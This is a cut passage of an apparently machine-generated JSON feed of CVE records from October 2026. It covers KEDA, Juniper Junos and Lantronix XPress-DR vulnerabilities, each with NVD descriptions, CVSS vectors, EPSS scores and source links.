Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101954","asOf":"2026-10-16T15:16:59.280Z"},"epss":{"probability":0.00477,"percentile":0.40928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101954","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101954","type":"primary","publishedAt":"2026-10-14T18:17:11.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77524","cveId":"CVE-2026-77524","aliases":[],"kind":"vulnerability","title":"KEDA is a Kubernetes-based Event Driven Autoscaling component.","summary":"KEDA is a Kubernetes-based Event Driven Autoscaling component. In version 2.20.2 and earlier, a namespace administrator who can create TriggerAuthentication and ScaledObject resources can set hashiCorpVault.address to a tenant-controlled endpoint and select Kubernetes authentication without an explicit credential. KEDA then uses the operator pod's projected ServiceAccount token and sends it to that endpoint as a Vault login credential. The JWT-shape filter from the prior CVE-2025-68476 remediation accepts the operator token because its subject is a Kubernetes ServiceAccount, so the attacker can obtain the operator's cluster-wide permissions, including broad Secret reads and workload or admission-related operations. This vulnerability is fixed in 2.21.0.","detail":"KEDA is a Kubernetes-based Event Driven Autoscaling component. In version 2.20.2 and earlier, a namespace administrator who can create TriggerAuthentication and ScaledObject resources can set hashiCorpVault.address to a tenant-controlled endpoint and select Kubernetes authentication without an explicit credential. KEDA then uses the operator pod's projected ServiceAccount token and sends it to that endpoint as a Vault login credential. The JWT-shape filter from the prior CVE-2025-68476 remediation accepts the operator token because its subject is a Kubernetes ServiceAccount, so the attacker can obtain the operator's cluster-wide permissions, including broad Secret reads and workload or admission-related operations. This vulnerability is fixed in 2.21.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:19:11.147Z","updatedAt":"2026-10-20T02:17:11.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77524","asOf":"2026-10-20T02:17:11.973Z"},"epss":{"probability":0.00527,"percentile":0.44333,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77524&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77524","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77524","type":"primary","publishedAt":"2026-10-14T17:19:11.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77524&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77524, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33796","cveId":"CVE-2026-33796","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured external BGP neighbor to...","summary":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured external BGP neighbor to execute arbitrary commands with root privileges via BMP route monitoring.","detail":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured external BGP neighbor to execute arbitrary commands with root privileges via BMP route monitoring.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:28.320Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33796","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00558,"percentile":0.46208,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33796&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33796","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33796","type":"primary","publishedAt":"2026-10-14T17:18:28.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33796&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33796, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33792","cveId":"CVE-2026-33792","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to execute code as root or...","summary":"A Stack-based Buffer Overflow vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to execute code as root or cause a denial of service via a crafted packet received on a configured GRE tunnel.","detail":"A Stack-based Buffer Overflow vulnerability in the srxpfe process of Juniper Networks Junos OS on SRX Series allows an unauthenticated network attacker to execute code as root or cause a denial of service via a crafted packet received on a configured GRE tunnel.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:27.933Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33792","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00611,"percentile":0.48941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33792&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33792","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33792","type":"primary","publishedAt":"2026-10-14T17:18:27.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33792&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33792, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33789","cveId":"CVE-2026-33789","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated BGP peer to cause a...","summary":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated BGP peer to cause a denial of service and potential root-level command execution via crafted BGP route updates when the BGP Monitoring Protocol (BMP) is enabled.","detail":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated BGP peer to cause a denial of service and potential root-level command execution via crafted BGP route updates when the BGP Monitoring Protocol (BMP) is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:27.763Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33789","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00687,"percentile":0.52395,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33789&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33789","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33789","type":"primary","publishedAt":"2026-10-14T17:18:27.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33789&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33789, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109439","cveId":"CVE-2026-109439","aliases":[],"kind":"vulnerability","title":"Lantronix XPress-DR and XPress-DR-I (CoBos-family) firmware through 8.1.0.0 contains a missing authentication vulnerability that allows remote attackers to read and persistently...","summary":"Lantronix XPress-DR and XPress-DR-I (CoBos-family) firmware through 8.1.0.0 contains a missing authentication vulnerability that allows remote attackers to read and persistently overwrite device configuration by sending crafted frames to the unauthenticated UDP configuration protocol on port 30718. Attackers can send a type 0xF8 query to read live configuration data and a type 0xFD frame with exactly 0x78 body bytes to rewrite the device IP address and serial-channel forwarding records, causing changes to commit to EEPROM and persist across reboots. The XPress-DR product series reached end-of-life/end-of-support in February 2025.","detail":"Lantronix XPress-DR and XPress-DR-I (CoBos-family) firmware through 8.1.0.0 contains a missing authentication vulnerability that allows remote attackers to read and persistently overwrite device configuration by sending crafted frames to the unauthenticated UDP configuration protocol on port 30718. Attackers can send a type 0xF8 query to read live configuration data and a type 0xFD frame with exactly 0x78 body bytes to rewrite the device IP address and serial-channel forwarding records, causing changes to commit to EEPROM and persist across reboots. The XPress-DR product series reached end-of-life/end-of-support in February 2025.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:23.253Z","updatedAt":"2026-10-16T19:00:33.600Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109439","asOf":"2026-10-16T19:00:33.600Z"},"epss":{"probability":0.00618,"percentile":0.49319,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109439","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109439","type":"primary","publishedAt":"2026-10-14T17:18:23.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102182","cveId":"CVE-2026-102182","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the kmd component of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to execute code as root via...","summary":"A Stack-based Buffer Overflow vulnerability in the kmd component of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to execute code as root via specific IKE certificate-based packets.\n\nThis issue requires IKE to be enabled with an RSA-signature IKE policy to be vulnerable.\n\nThis issue affects Junos OS on MX Series:\n\n\n  *  All versions before 21.2R3-S11;\n  *  from 21.4 before 21.4R3-S12;\n  *  from 22.2 before 22.2R3-S8;\n  *  from 22.3 before 22.3R3-S5;\n  *  from 22.4 before 22.4R3-S9;","detail":"A Stack-based Buffer Overflow vulnerability in the kmd component of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to execute code as root via specific IKE certificate-based packets.\n\nThis issue requires IKE to be enabled with an RSA-signature IKE policy to be vulnerable.\n\nThis issue affects Junos OS on MX Series:\n\n\n  *  All versions before 21.2R3-S11;\n  *  from 21.4 before 21.4R3-S12;\n  *  from 22.2 before 22.2R3-S8;\n  *  from 22.3 before 22.3R3-S5;\n  *  from 22.4 before 22.4R3-S9;\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:06.080Z","updatedAt":"2026-10-20T21:17:14.650Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102182","asOf":"2026-10-20T21:17:14.650Z"},"epss":{"probability":0.00411,"percentile":0.35065,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102182","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102182","type":"primary","publishedAt":"2026-10-14T17:18:06.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102182, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102178","cveId":"CVE-2026-102178","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the BGP routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP flowspec peer to cause...","summary":"A Stack-based Buffer Overflow vulnerability in the BGP routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP flowspec peer to cause routing-engine compromise or a routing-daemon denial of service via flowspec route re-advertisement when BGP update-threading is enabled.","detail":"A Stack-based Buffer Overflow vulnerability in the BGP routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP flowspec peer to cause routing-engine compromise or a routing-daemon denial of service via flowspec route re-advertisement when BGP update-threading is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:05.610Z","updatedAt":"2026-10-16T17:17:10.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102178","asOf":"2026-10-16T17:17:10.237Z"},"epss":{"probability":0.00455,"percentile":0.39206,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102178&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102178","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102178","type":"primary","publishedAt":"2026-10-14T17:18:05.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102178&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102178, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102175","cveId":"CVE-2026-102175","aliases":[],"kind":"vulnerability","title":"A Heap-based Buffer Overflow vulnerability in the sdxd service-deployment daemon of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated attacker who can...","summary":"A Heap-based Buffer Overflow vulnerability in the sdxd service-deployment daemon of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated attacker who can control or intercept the configured SDX/SRC server connection to execute code as root or cause denial of service via a crafted frame received over the service-deployment TCP connection.","detail":"A Heap-based Buffer Overflow vulnerability in the sdxd service-deployment daemon of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated attacker who can control or intercept the configured SDX/SRC server connection to execute code as root or cause denial of service via a crafted frame received over the service-deployment TCP connection.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:05.147Z","updatedAt":"2026-10-16T15:17:01.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102175","asOf":"2026-10-16T15:17:01.750Z"},"epss":{"probability":0.00733,"percentile":0.54098,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102175&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102175","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102175","type":"primary","publishedAt":"2026-10-14T17:18:05.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102175&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102175, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102084","cveId":"CVE-2026-102084","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Syntactic Correctness of Input vulnerability in the VPN daemon of Juniper Networks Junos OS on SRX Series allows an authenticated, network-based attacker...","summary":"An Improper Validation of Syntactic Correctness of Input vulnerability in the VPN daemon of Juniper Networks Junos OS on SRX Series allows an authenticated, network-based attacker to take complete control of the device.\n\nIf an SRX device configured for AutoDiscovery VPN (ADVPN) receives a message from a peer that contains one or more specifically malformed attributes, this will cause a buffer overflow, which can allow remote code execution and therefore allow an attacker to take complete control of the device. To be able to carry out this attack an attacker must either have acquired the shared secret to impersonate a peer or have compromised an existing one, so this attack is considerably difficult.\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S7.7;\n  *  from 23.4 before 23.4R2-S7;\n  *  from 24.2 before 24.2R2-S4;\n  *  from 24.4 before 24.4R2-S3;\n  *  from 25.2 before 25.2R2;\n  *  from 25.4 before 25.4R1-S3.","detail":"An Improper Validation of Syntactic Correctness of Input vulnerability in the VPN daemon of Juniper Networks Junos OS on SRX Series allows an authenticated, network-based attacker to take complete control of the device.\n\nIf an SRX device configured for AutoDiscovery VPN (ADVPN) receives a message from a peer that contains one or more specifically malformed attributes, this will cause a buffer overflow, which can allow remote code execution and therefore allow an attacker to take complete control of the device. To be able to carry out this attack an attacker must either have acquired the shared secret to impersonate a peer or have compromised an existing one, so this attack is considerably difficult.\n\nThis issue affects Junos OS on SRX Series:\n\n\n  *  All versions before 23.2R2-S7.7;\n  *  from 23.4 before 23.4R2-S7;\n  *  from 24.2 before 24.2R2-S4;\n  *  from 24.4 before 24.4R2-S3;\n  *  from 25.2 before 25.2R2;\n  *  from 25.4 before 25.4R1-S3.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:04.310Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102084","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00509,"percentile":0.43162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102084&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102084","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102084","type":"primary","publishedAt":"2026-10-14T17:18:04.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 